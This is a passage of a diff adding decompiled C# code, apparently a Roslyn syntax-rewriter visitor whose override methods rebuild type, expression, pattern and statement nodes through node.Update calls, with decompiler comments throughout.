(SimpleNameSyntax)Visit(node.Name)); + } + + public override CSharpSyntaxNode VisitPredefinedType(PredefinedTypeSyntax node) + { + return node.Update((SyntaxToken)Visit(node.Keyword)); + } + + public override CSharpSyntaxNode VisitArrayType(ArrayTypeSyntax node) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return node.Update((TypeSyntax)Visit(node.ElementType), VisitList(node.RankSpecifiers)); + } + + public override CSharpSyntaxNode VisitArrayRankSpecifier(ArrayRankSpecifierSyntax node) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return node.Update((SyntaxToken)Visit(node.OpenBracketToken), VisitList(node.Sizes), (SyntaxToken)Visit(node.CloseBracketToken)); + } + + public override CSharpSyntaxNode VisitPointerType(PointerTypeSyntax node) + { + return node.Update((TypeSyntax)Visit(node.ElementType), (SyntaxToken)Visit(node.AsteriskToken)); + } + + public override CSharpSyntaxNode VisitFunctionPointerType(FunctionPointerTypeSyntax node) + { + return node.Update((SyntaxToken)Visit(node.DelegateKeyword), (SyntaxToken)Visit(node.AsteriskToken), (FunctionPointerCallingConventionSyntax)Visit(node.CallingConvention), (FunctionPointerParameterListSyntax)Visit(node.ParameterList)); + } + + public override CSharpSyntaxNode VisitFunctionPointerParameterList(FunctionPointerParameterListSyntax node) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return node.Update((SyntaxToken)Visit(node.LessThanToken), VisitList(node.Parameters), (SyntaxToken)Visit(node.GreaterThanToken)); + } + + public override CSharpSyntaxNode VisitFunctionPointerCallingConvention(FunctionPointerCallingConventionSyntax node) + { + return node.Update((SyntaxToken)Visit(node.ManagedOrUnmanagedKeyword), (FunctionPointerUnmanagedCallingConventionListSyntax)Visit(node.UnmanagedCallingConventionList)); + } + + public override CSharpSyntaxNode VisitFunctionPointerUnmanagedCallingConventionList(FunctionPointerUnmanagedCallingConventionListSyntax node) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return node.Update((SyntaxToken)Visit(node.OpenBracketToken), VisitList(node.CallingConventions), (SyntaxToken)Visit(node.CloseBracketToken)); + } + + public override CSharpSyntaxNode VisitFunctionPointerUnmanagedCallingConvention(FunctionPointerUnmanagedCallingConventionSyntax node) + { + return node.Update((SyntaxToken)Visit(node.Name)); + } + + public override CSharpSyntaxNode VisitNullableType(NullableTypeSyntax node) + { + return node.Update((TypeSyntax)Visit(node.ElementType), (SyntaxToken)Visit(node.QuestionToken)); + } + + public override CSharpSyntaxNode VisitTupleType(TupleTypeSyntax node) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return node.Update((SyntaxToken)Visit(node.OpenParenToken), VisitList(node.Elements), (SyntaxToken)Visit(node.CloseParenToken)); + } + + public override CSharpSyntaxNode VisitTupleElement(TupleElementSyntax node) + { + return node.Update((TypeSyntax)Visit(node.Type), (SyntaxToken)Visit(node.Identifier)); + } + + public override CSharpSyntaxNode VisitOmittedTypeArgument(OmittedTypeArgumentSyntax node) + { + return node.Update((SyntaxToken)Visit(node.OmittedTypeArgumentToken)); + } + + public override CSharpSyntaxNode VisitRefType(RefTypeSyntax node) + { + return node.Update((SyntaxToken)Visit(node.RefKeyword), (SyntaxToken)Visit(node.ReadOnlyKeyword), (TypeSyntax)Visit(node.Type)); + } + + public override CSharpSyntaxNode VisitScopedType(ScopedTypeSyntax node) + { + return node.Update((SyntaxToken)Visit(node.ScopedKeyword), (TypeSyntax)Visit(node.Type)); + } + + public override CSharpSyntaxNode VisitParenthesizedExpression(ParenthesizedExpressionSyntax node) + { + return node.Update((SyntaxToken)Visit(node.OpenParenToken), (ExpressionSyntax)Visit(node.Expression), (SyntaxToken)Visit(node.CloseParenToken)); + } + + public override CSharpSyntaxNode VisitTupleExpression(TupleExpressionSyntax node) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return node.Update((SyntaxToken)Visit(node.OpenParenToken), VisitList(node.Arguments), (SyntaxToken)Visit(node.CloseParenToken)); + } + + public override CSharpSyntaxNode VisitPrefixUnaryExpression(PrefixUnaryExpressionSyntax node) + { + return node.Update((SyntaxToken)Visit(node.OperatorToken), (ExpressionSyntax)Visit(node.Operand)); + } + + public override CSharpSyntaxNode VisitAwaitExpression(AwaitExpressionSyntax node) + { + return node.Update((SyntaxToken)Visit(node.AwaitKeyword), (ExpressionSyntax)Visit(node.Expression)); + } + + public override CSharpSyntaxNode VisitPostfixUnaryExpression(PostfixUnaryExpressionSyntax node) + { + return node.Update((ExpressionSyntax)Visit(node.Operand), (SyntaxToken)Visit(node.OperatorToken)); + } + + public override CSharpSyntaxNode VisitMemberAccessExpression(MemberAccessExpressionSyntax node) + { + return node.Update((ExpressionSyntax)Visit(node.Expression), (SyntaxToken)Visit(node.OperatorToken), (SimpleNameSyntax)Visit(node.Name)); + } + + public override CSharpSyntaxNode VisitConditionalAccessExpression(ConditionalAccessExpressionSyntax node) + { + return node.Update((ExpressionSyntax)Visit(node.Expression), (SyntaxToken)Visit(node.OperatorToken), (ExpressionSyntax)Visit(node.WhenNotNull)); + } + + public override CSharpSyntaxNode VisitMemberBindingExpression(MemberBindingExpressionSyntax node) + { + return node.Update((SyntaxToken)Visit(node.OperatorToken), (SimpleNameSyntax)Visit(node.Name)); + } + + public override CSharpSyntaxNode VisitElementBindingExpression(ElementBindingExpressionSyntax node) + { + return node.Update((BracketedArgumentListSyntax)Visit(node.ArgumentList)); + } + + public override CSharpSyntaxNode VisitRangeExpression(RangeExpressionSyntax node) + { + return node.Update((ExpressionSyntax)Visit(node.LeftOperand), (SyntaxToken)Visit(node.OperatorToken), (ExpressionSyntax)Visit(node.RightOperand)); + } + + public override CSharpSyntaxNode VisitImplicitElementAccess(ImplicitElementAccessSyntax node) + { + return node.Update((BracketedArgumentListSyntax)Visit(node.ArgumentList)); + } + + public override CSharpSyntaxNode VisitBinaryExpression(BinaryExpressionSyntax node) + { + return node.Update((ExpressionSyntax)Visit(node.Left), (SyntaxToken)Visit(node.OperatorToken), (ExpressionSyntax)Visit(node.Right)); + } + + public override CSharpSyntaxNode VisitAssignmentExpression(AssignmentExpressionSyntax node) + { + return node.Update((ExpressionSyntax)Visit(node.Left), (SyntaxToken)Visit(node.OperatorToken), (ExpressionSyntax)Visit(node.Right)); + } + + public override CSharpSyntaxNode VisitConditionalExpression(ConditionalExpressionSyntax node) + { + return node.Update((ExpressionSyntax)Visit(node.Condition), (SyntaxToken)Visit(node.QuestionToken), (ExpressionSyntax)Visit(node.WhenTrue), (SyntaxToken)Visit(node.ColonToken), (ExpressionSyntax)Visit(node.WhenFalse)); + } + + public override CSharpSyntaxNode VisitThisExpression(ThisExpressionSyntax node) + { + return node.Update((SyntaxToken)Visit(node.Token)); + } + + public override CSharpSyntaxNode VisitBaseExpression(BaseExpressionSyntax node) + { + return node.Update((SyntaxToken)Visit(node.Token)); + } + + public override CSharpSyntaxNode VisitLiteralExpression(LiteralExpressionSyntax node) + { + return node.Update((SyntaxToken)Visit(node.Token)); + } + + public override CSharpSyntaxNode VisitMakeRefExpression(MakeRefExpressionSyntax node) + { + return node.Update((SyntaxToken)Visit(node.Keyword), (SyntaxToken)Visit(node.OpenParenToken), (ExpressionSyntax)Visit(node.Expression), (SyntaxToken)Visit(node.CloseParenToken)); + } + + public override CSharpSyntaxNode VisitRefTypeExpression(RefTypeExpressionSyntax node) + { + return node.Update((SyntaxToken)Visit(node.Keyword), (SyntaxToken)Visit(node.OpenParenToken), (ExpressionSyntax)Visit(node.Expression), (SyntaxToken)Visit(node.CloseParenToken)); + } + + public override CSharpSyntaxNode VisitRefValueExpression(RefValueExpressionSyntax node) + { + return node.Update((SyntaxToken)Visit(node.Keyword), (SyntaxToken)Visit(node.OpenParenToken), (ExpressionSyntax)Visit(node.Expression), (SyntaxToken)Visit(node.Comma), (TypeSyntax)Visit(node.Type), (SyntaxToken)Visit(node.CloseParenToken)); + } + + public override CSharpSyntaxNode VisitCheckedExpression(CheckedExpressionSyntax node) + { + return node.Update((SyntaxToken)Visit(node.Keyword), (SyntaxToken)Visit(node.OpenParenToken), (ExpressionSyntax)Visit(node.Expression), (SyntaxToken)Visit(node.CloseParenToken)); + } + + public override CSharpSyntaxNode VisitDefaultExpression(DefaultExpressionSyntax node) + { + return node.Update((SyntaxToken)Visit(node.Keyword), (SyntaxToken)Visit(node.OpenParenToken), (TypeSyntax)Visit(node.Type), (SyntaxToken)Visit(node.CloseParenToken)); + } + + public override CSharpSyntaxNode VisitTypeOfExpression(TypeOfExpressionSyntax node) + { + return node.Update((SyntaxToken)Visit(node.Keyword), (SyntaxToken)Visit(node.OpenParenToken), (TypeSyntax)Visit(node.Type), (SyntaxToken)Visit(node.CloseParenToken)); + } + + public override CSharpSyntaxNode VisitSizeOfExpression(SizeOfExpressionSyntax node) + { + return node.Update((SyntaxToken)Visit(node.Keyword), (SyntaxToken)Visit(node.OpenParenToken), (TypeSyntax)Visit(node.Type), (SyntaxToken)Visit(node.CloseParenToken)); + } + + public override CSharpSyntaxNode VisitInvocationExpression(InvocationExpressionSyntax node) + { + return node.Update((ExpressionSyntax)Visit(node.Expression), (ArgumentListSyntax)Visit(node.ArgumentList)); + } + + public override CSharpSyntaxNode VisitElementAccessExpression(ElementAccessExpressionSyntax node) + { + return node.Update((ExpressionSyntax)Visit(node.Expression), (BracketedArgumentListSyntax)Visit(node.ArgumentList)); + } + + public override CSharpSyntaxNode VisitArgumentList(ArgumentListSyntax node) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return node.Update((SyntaxToken)Visit(node.OpenParenToken), VisitList(node.Arguments), (SyntaxToken)Visit(node.CloseParenToken)); + } + + public override CSharpSyntaxNode VisitBracketedArgumentList(BracketedArgumentListSyntax node) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return node.Update((SyntaxToken)Visit(node.OpenBracketToken), VisitList(node.Arguments), (SyntaxToken)Visit(node.CloseBracketToken)); + } + + public override CSharpSyntaxNode VisitArgument(ArgumentSyntax node) + { + return node.Update((NameColonSyntax)Visit(node.NameColon), (SyntaxToken)Visit(node.RefKindKeyword), (ExpressionSyntax)Visit(node.Expression)); + } + + public override CSharpSyntaxNode VisitExpressionColon(ExpressionColonSyntax node) + { + return node.Update((ExpressionSyntax)Visit(node.Expression), (SyntaxToken)Visit(node.ColonToken)); + } + + public override CSharpSyntaxNode VisitNameColon(NameColonSyntax node) + { + return node.Update((IdentifierNameSyntax)Visit(node.Name), (SyntaxToken)Visit(node.ColonToken)); + } + + public override CSharpSyntaxNode VisitDeclarationExpression(DeclarationExpressionSyntax node) + { + return node.Update((TypeSyntax)Visit(node.Type), (VariableDesignationSyntax)Visit(node.Designation)); + } + + public override CSharpSyntaxNode VisitCastExpression(CastExpressionSyntax node) + { + return node.Update((SyntaxToken)Visit(node.OpenParenToken), (TypeSyntax)Visit(node.Type), (SyntaxToken)Visit(node.CloseParenToken), (ExpressionSyntax)Visit(node.Expression)); + } + + public override CSharpSyntaxNode VisitAnonymousMethodExpression(AnonymousMethodExpressionSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.Modifiers), (SyntaxToken)Visit(node.DelegateKeyword), (ParameterListSyntax)Visit(node.ParameterList), (BlockSyntax)Visit(node.Block), (ExpressionSyntax)Visit(node.ExpressionBody)); + } + + public override CSharpSyntaxNode VisitSimpleLambdaExpression(SimpleLambdaExpressionSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), (ParameterSyntax)Visit(node.Parameter), (SyntaxToken)Visit(node.ArrowToken), (BlockSyntax)Visit(node.Block), (ExpressionSyntax)Visit(node.ExpressionBody)); + } + + public override CSharpSyntaxNode VisitRefExpression(RefExpressionSyntax node) + { + return node.Update((SyntaxToken)Visit(node.RefKeyword), (ExpressionSyntax)Visit(node.Expression)); + } + + public override CSharpSyntaxNode VisitParenthesizedLambdaExpression(ParenthesizedLambdaExpressionSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), (TypeSyntax)Visit(node.ReturnType), (ParameterListSyntax)Visit(node.ParameterList), (SyntaxToken)Visit(node.ArrowToken), (BlockSyntax)Visit(node.Block), (ExpressionSyntax)Visit(node.ExpressionBody)); + } + + public override CSharpSyntaxNode VisitInitializerExpression(InitializerExpressionSyntax node) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return node.Update((SyntaxToken)Visit(node.OpenBraceToken), VisitList(node.Expressions), (SyntaxToken)Visit(node.CloseBraceToken)); + } + + public override CSharpSyntaxNode VisitImplicitObjectCreationExpression(ImplicitObjectCreationExpressionSyntax node) + { + return node.Update((SyntaxToken)Visit(node.NewKeyword), (ArgumentListSyntax)Visit(node.ArgumentList), (InitializerExpressionSyntax)Visit(node.Initializer)); + } + + public override CSharpSyntaxNode VisitObjectCreationExpression(ObjectCreationExpressionSyntax node) + { + return node.Update((SyntaxToken)Visit(node.NewKeyword), (TypeSyntax)Visit(node.Type), (ArgumentListSyntax)Visit(node.ArgumentList), (InitializerExpressionSyntax)Visit(node.Initializer)); + } + + public override CSharpSyntaxNode VisitWithExpression(WithExpressionSyntax node) + { + return node.Update((ExpressionSyntax)Visit(node.Expression), (SyntaxToken)Visit(node.WithKeyword), (InitializerExpressionSyntax)Visit(node.Initializer)); + } + + public override CSharpSyntaxNode VisitAnonymousObjectMemberDeclarator(AnonymousObjectMemberDeclaratorSyntax node) + { + return node.Update((NameEqualsSyntax)Visit(node.NameEquals), (ExpressionSyntax)Visit(node.Expression)); + } + + public override CSharpSyntaxNode VisitAnonymousObjectCreationExpression(AnonymousObjectCreationExpressionSyntax node) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + return node.Update((SyntaxToken)Visit(node.NewKeyword), (SyntaxToken)Visit(node.OpenBraceToken), VisitList(node.Initializers), (SyntaxToken)Visit(node.CloseBraceToken)); + } + + public override CSharpSyntaxNode VisitArrayCreationExpression(ArrayCreationExpressionSyntax node) + { + return node.Update((SyntaxToken)Visit(node.NewKeyword), (ArrayTypeSyntax)Visit(node.Type), (InitializerExpressionSyntax)Visit(node.Initializer)); + } + + public override CSharpSyntaxNode VisitImplicitArrayCreationExpression(ImplicitArrayCreationExpressionSyntax node) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + return node.Update((SyntaxToken)Visit(node.NewKeyword), (SyntaxToken)Visit(node.OpenBracketToken), VisitList(node.Commas), (SyntaxToken)Visit(node.CloseBracketToken), (InitializerExpressionSyntax)Visit(node.Initializer)); + } + + public override CSharpSyntaxNode VisitStackAllocArrayCreationExpression(StackAllocArrayCreationExpressionSyntax node) + { + return node.Update((SyntaxToken)Visit(node.StackAllocKeyword), (TypeSyntax)Visit(node.Type), (InitializerExpressionSyntax)Visit(node.Initializer)); + } + + public override CSharpSyntaxNode VisitImplicitStackAllocArrayCreationExpression(ImplicitStackAllocArrayCreationExpressionSyntax node) + { + return node.Update((SyntaxToken)Visit(node.StackAllocKeyword), (SyntaxToken)Visit(node.OpenBracketToken), (SyntaxToken)Visit(node.CloseBracketToken), (InitializerExpressionSyntax)Visit(node.Initializer)); + } + + public override CSharpSyntaxNode VisitCollectionExpression(CollectionExpressionSyntax node) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return node.Update((SyntaxToken)Visit(node.OpenBracketToken), VisitList(node.Elements), (SyntaxToken)Visit(node.CloseBracketToken)); + } + + public override CSharpSyntaxNode VisitExpressionElement(ExpressionElementSyntax node) + { + return node.Update((ExpressionSyntax)Visit(node.Expression)); + } + + public override CSharpSyntaxNode VisitSpreadElement(SpreadElementSyntax node) + { + return node.Update((SyntaxToken)Visit(node.OperatorToken), (ExpressionSyntax)Visit(node.Expression)); + } + + public override CSharpSyntaxNode VisitQueryExpression(QueryExpressionSyntax node) + { + return node.Update((FromClauseSyntax)Visit(node.FromClause), (QueryBodySyntax)Visit(node.Body)); + } + + public override CSharpSyntaxNode VisitQueryBody(QueryBodySyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.Clauses), (SelectOrGroupClauseSyntax)Visit(node.SelectOrGroup), (QueryContinuationSyntax)Visit(node.Continuation)); + } + + public override CSharpSyntaxNode VisitFromClause(FromClauseSyntax node) + { + return node.Update((SyntaxToken)Visit(node.FromKeyword), (TypeSyntax)Visit(node.Type), (SyntaxToken)Visit(node.Identifier), (SyntaxToken)Visit(node.InKeyword), (ExpressionSyntax)Visit(node.Expression)); + } + + public override CSharpSyntaxNode VisitLetClause(LetClauseSyntax node) + { + return node.Update((SyntaxToken)Visit(node.LetKeyword), (SyntaxToken)Visit(node.Identifier), (SyntaxToken)Visit(node.EqualsToken), (ExpressionSyntax)Visit(node.Expression)); + } + + public override CSharpSyntaxNode VisitJoinClause(JoinClauseSyntax node) + { + return node.Update((SyntaxToken)Visit(node.JoinKeyword), (TypeSyntax)Visit(node.Type), (SyntaxToken)Visit(node.Identifier), (SyntaxToken)Visit(node.InKeyword), (ExpressionSyntax)Visit(node.InExpression), (SyntaxToken)Visit(node.OnKeyword), (ExpressionSyntax)Visit(node.LeftExpression), (SyntaxToken)Visit(node.EqualsKeyword), (ExpressionSyntax)Visit(node.RightExpression), (JoinIntoClauseSyntax)Visit(node.Into)); + } + + public override CSharpSyntaxNode VisitJoinIntoClause(JoinIntoClauseSyntax node) + { + return node.Update((SyntaxToken)Visit(node.IntoKeyword), (SyntaxToken)Visit(node.Identifier)); + } + + public override CSharpSyntaxNode VisitWhereClause(WhereClauseSyntax node) + { + return node.Update((SyntaxToken)Visit(node.WhereKeyword), (ExpressionSyntax)Visit(node.Condition)); + } + + public override CSharpSyntaxNode VisitOrderByClause(OrderByClauseSyntax node) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return node.Update((SyntaxToken)Visit(node.OrderByKeyword), VisitList(node.Orderings)); + } + + public override CSharpSyntaxNode VisitOrdering(OrderingSyntax node) + { + return node.Update((ExpressionSyntax)Visit(node.Expression), (SyntaxToken)Visit(node.AscendingOrDescendingKeyword)); + } + + public override CSharpSyntaxNode VisitSelectClause(SelectClauseSyntax node) + { + return node.Update((SyntaxToken)Visit(node.SelectKeyword), (ExpressionSyntax)Visit(node.Expression)); + } + + public override CSharpSyntaxNode VisitGroupClause(GroupClauseSyntax node) + { + return node.Update((SyntaxToken)Visit(node.GroupKeyword), (ExpressionSyntax)Visit(node.GroupExpression), (SyntaxToken)Visit(node.ByKeyword), (ExpressionSyntax)Visit(node.ByExpression)); + } + + public override CSharpSyntaxNode VisitQueryContinuation(QueryContinuationSyntax node) + { + return node.Update((SyntaxToken)Visit(node.IntoKeyword), (SyntaxToken)Visit(node.Identifier), (QueryBodySyntax)Visit(node.Body)); + } + + public override CSharpSyntaxNode VisitOmittedArraySizeExpression(OmittedArraySizeExpressionSyntax node) + { + return node.Update((SyntaxToken)Visit(node.OmittedArraySizeExpressionToken)); + } + + public override CSharpSyntaxNode VisitInterpolatedStringExpression(InterpolatedStringExpressionSyntax node) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return node.Update((SyntaxToken)Visit(node.StringStartToken), VisitList(node.Contents), (SyntaxToken)Visit(node.StringEndToken)); + } + + public override CSharpSyntaxNode VisitIsPatternExpression(IsPatternExpressionSyntax node) + { + return node.Update((ExpressionSyntax)Visit(node.Expression), (SyntaxToken)Visit(node.IsKeyword), (PatternSyntax)Visit(node.Pattern)); + } + + public override CSharpSyntaxNode VisitThrowExpression(ThrowExpressionSyntax node) + { + return node.Update((SyntaxToken)Visit(node.ThrowKeyword), (ExpressionSyntax)Visit(node.Expression)); + } + + public override CSharpSyntaxNode VisitWhenClause(WhenClauseSyntax node) + { + return node.Update((SyntaxToken)Visit(node.WhenKeyword), (ExpressionSyntax)Visit(node.Condition)); + } + + public override CSharpSyntaxNode VisitDiscardPattern(DiscardPatternSyntax node) + { + return node.Update((SyntaxToken)Visit(node.UnderscoreToken)); + } + + public override CSharpSyntaxNode VisitDeclarationPattern(DeclarationPatternSyntax node) + { + return node.Update((TypeSyntax)Visit(node.Type), (VariableDesignationSyntax)Visit(node.Designation)); + } + + public override CSharpSyntaxNode VisitVarPattern(VarPatternSyntax node) + { + return node.Update((SyntaxToken)Visit(node.VarKeyword), (VariableDesignationSyntax)Visit(node.Designation)); + } + + public override CSharpSyntaxNode VisitRecursivePattern(RecursivePatternSyntax node) + { + return node.Update((TypeSyntax)Visit(node.Type), (PositionalPatternClauseSyntax)Visit(node.PositionalPatternClause), (PropertyPatternClauseSyntax)Visit(node.PropertyPatternClause), (VariableDesignationSyntax)Visit(node.Designation)); + } + + public override CSharpSyntaxNode VisitPositionalPatternClause(PositionalPatternClauseSyntax node) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return node.Update((SyntaxToken)Visit(node.OpenParenToken), VisitList(node.Subpatterns), (SyntaxToken)Visit(node.CloseParenToken)); + } + + public override CSharpSyntaxNode VisitPropertyPatternClause(PropertyPatternClauseSyntax node) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return node.Update((SyntaxToken)Visit(node.OpenBraceToken), VisitList(node.Subpatterns), (SyntaxToken)Visit(node.CloseBraceToken)); + } + + public override CSharpSyntaxNode VisitSubpattern(SubpatternSyntax node) + { + return node.Update((BaseExpressionColonSyntax)Visit(node.ExpressionColon), (PatternSyntax)Visit(node.Pattern)); + } + + public override CSharpSyntaxNode VisitConstantPattern(ConstantPatternSyntax node) + { + return node.Update((ExpressionSyntax)Visit(node.Expression)); + } + + public override CSharpSyntaxNode VisitParenthesizedPattern(ParenthesizedPatternSyntax node) + { + return node.Update((SyntaxToken)Visit(node.OpenParenToken), (PatternSyntax)Visit(node.Pattern), (SyntaxToken)Visit(node.CloseParenToken)); + } + + public override CSharpSyntaxNode VisitRelationalPattern(RelationalPatternSyntax node) + { + return node.Update((SyntaxToken)Visit(node.OperatorToken), (ExpressionSyntax)Visit(node.Expression)); + } + + public override CSharpSyntaxNode VisitTypePattern(TypePatternSyntax node) + { + return node.Update((TypeSyntax)Visit(node.Type)); + } + + public override CSharpSyntaxNode VisitBinaryPattern(BinaryPatternSyntax node) + { + return node.Update((PatternSyntax)Visit(node.Left), (SyntaxToken)Visit(node.OperatorToken), (PatternSyntax)Visit(node.Right)); + } + + public override CSharpSyntaxNode VisitUnaryPattern(UnaryPatternSyntax node) + { + return node.Update((SyntaxToken)Visit(node.OperatorToken), (PatternSyntax)Visit(node.Pattern)); + } + + public override CSharpSyntaxNode VisitListPattern(ListPatternSyntax node) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return node.Update((SyntaxToken)Visit(node.OpenBracketToken), VisitList(node.Patterns), (SyntaxToken)Visit(node.CloseBracketToken), (VariableDesignationSyntax)Visit(node.Designation)); + } + + public override CSharpSyntaxNode VisitSlicePattern(SlicePatternSyntax node) + { + return node.Update((SyntaxToken)Visit(node.DotDotToken), (PatternSyntax)Visit(node.Pattern)); + } + + public override CSharpSyntaxNode VisitInterpolatedStringText(InterpolatedStringTextSyntax node) + { + return node.Update((SyntaxToken)Visit(node.TextToken)); + } + + public override CSharpSyntaxNode VisitInterpolation(InterpolationSyntax node) + { + return node.Update((SyntaxToken)Visit(node.OpenBraceToken), (ExpressionSyntax)Visit(node.Expression), (InterpolationAlignmentClauseSyntax)Visit(node.AlignmentClause), (InterpolationFormatClauseSyntax)Visit(node.FormatClause), (SyntaxToken)Visit(node.CloseBraceToken)); + } + + public override CSharpSyntaxNode VisitInterpolationAlignmentClause(InterpolationAlignmentClauseSyntax node) + { + return node.Update((SyntaxToken)Visit(node.CommaToken), (ExpressionSyntax)Visit(node.Value)); + } + + public override CSharpSyntaxNode VisitInterpolationFormatClause(InterpolationFormatClauseSyntax node) + { + return node.Update((SyntaxToken)Visit(node.ColonToken), (SyntaxToken)Visit(node.FormatStringToken)); + } + + public override CSharpSyntaxNode VisitGlobalStatement(GlobalStatementSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), (StatementSyntax)Visit(node.Statement)); + } + + public override CSharpSyntaxNode VisitBlock(BlockSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.AttributeLists), (SyntaxToken)Visit(node.OpenBraceToken), VisitList(node.Statements), (SyntaxToken)Visit(node.CloseBraceToken)); + } + + public override CSharpSyntaxNode VisitLocalFunctionStatement(LocalFunctionStatementSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), (TypeSyntax)Visit(node.ReturnType), (SyntaxToken)Visit(node.Identifier), (TypeParameterListSyntax)Visit(node.TypeParameterList), (ParameterListSyntax)Visit(node.ParameterList), VisitList(node.ConstraintClauses), (BlockSyntax)Visit(node.Body), (ArrowExpressionClauseSyntax)Visit(node.ExpressionBody), (SyntaxToken)Visit(node.SemicolonToken)); + } + + public override CSharpSyntaxNode VisitLocalDeclarationStatement(LocalDeclarationStatementSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.AttributeLists), (SyntaxToken)Visit(node.AwaitKeyword), (SyntaxToken)Visit(node.UsingKeyword), VisitList(node.Modifiers), (VariableDeclarationSyntax)Visit(node.Declaration), (SyntaxToken)Visit(node.SemicolonToken)); + } + + public override CSharpSyntaxNode VisitVariableDeclaration(VariableDeclarationSyntax node) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return node.Update((TypeSyntax)Visit(node.Type), VisitList(node.Variables)); + } + + public override CSharpSyntaxNode VisitVariableDeclarator(VariableDeclaratorSyntax node) + { + return node.Update((SyntaxToken)Visit(node.Identifier), (BracketedArgumentListSyntax)Visit(node.ArgumentList), (EqualsValueClauseSyntax)Visit(node.Initializer)); + } + + public override CSharpSyntaxNode VisitEqualsValueClause(EqualsValueClauseSyntax node) + { + return node.Update((SyntaxToken)Visit(node.EqualsToken), (ExpressionSyntax)Visit(node.Value)); + } + + public override CSharpSyntaxNode VisitSingleVariableDesignation(SingleVariableDesignationSyntax node) + { + return node.Update((SyntaxToken)Visit(node.Identifier)); + } + + public override CSharpSyntaxNode VisitDiscardDesignation(DiscardDesignationSyntax node) + { + return node.Update((SyntaxToken)Visit(node.UnderscoreToken)); + } + + public override CSharpSyntaxNode VisitParenthesizedVariableDesignation(ParenthesizedVariableDesignationSyntax node) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return node.Update((SyntaxToken)Visit(node.OpenParenToken), VisitList(node.Variables), (SyntaxToken)Visit(node.CloseParenToken)); + } + + public override CSharpSyntaxNode VisitExpressionStatement(ExpressionStatementSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.AttributeLists), (ExpressionSyntax)Visit(node.Expression), (SyntaxToken)Visit(node.SemicolonToken)); + } + + public override CSharpSyntaxNode VisitEmptyStatement(EmptyStatementSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return node.Update(VisitList(node.AttributeLists), (SyntaxToken)Visit(node.SemicolonToken)); + } + + public override 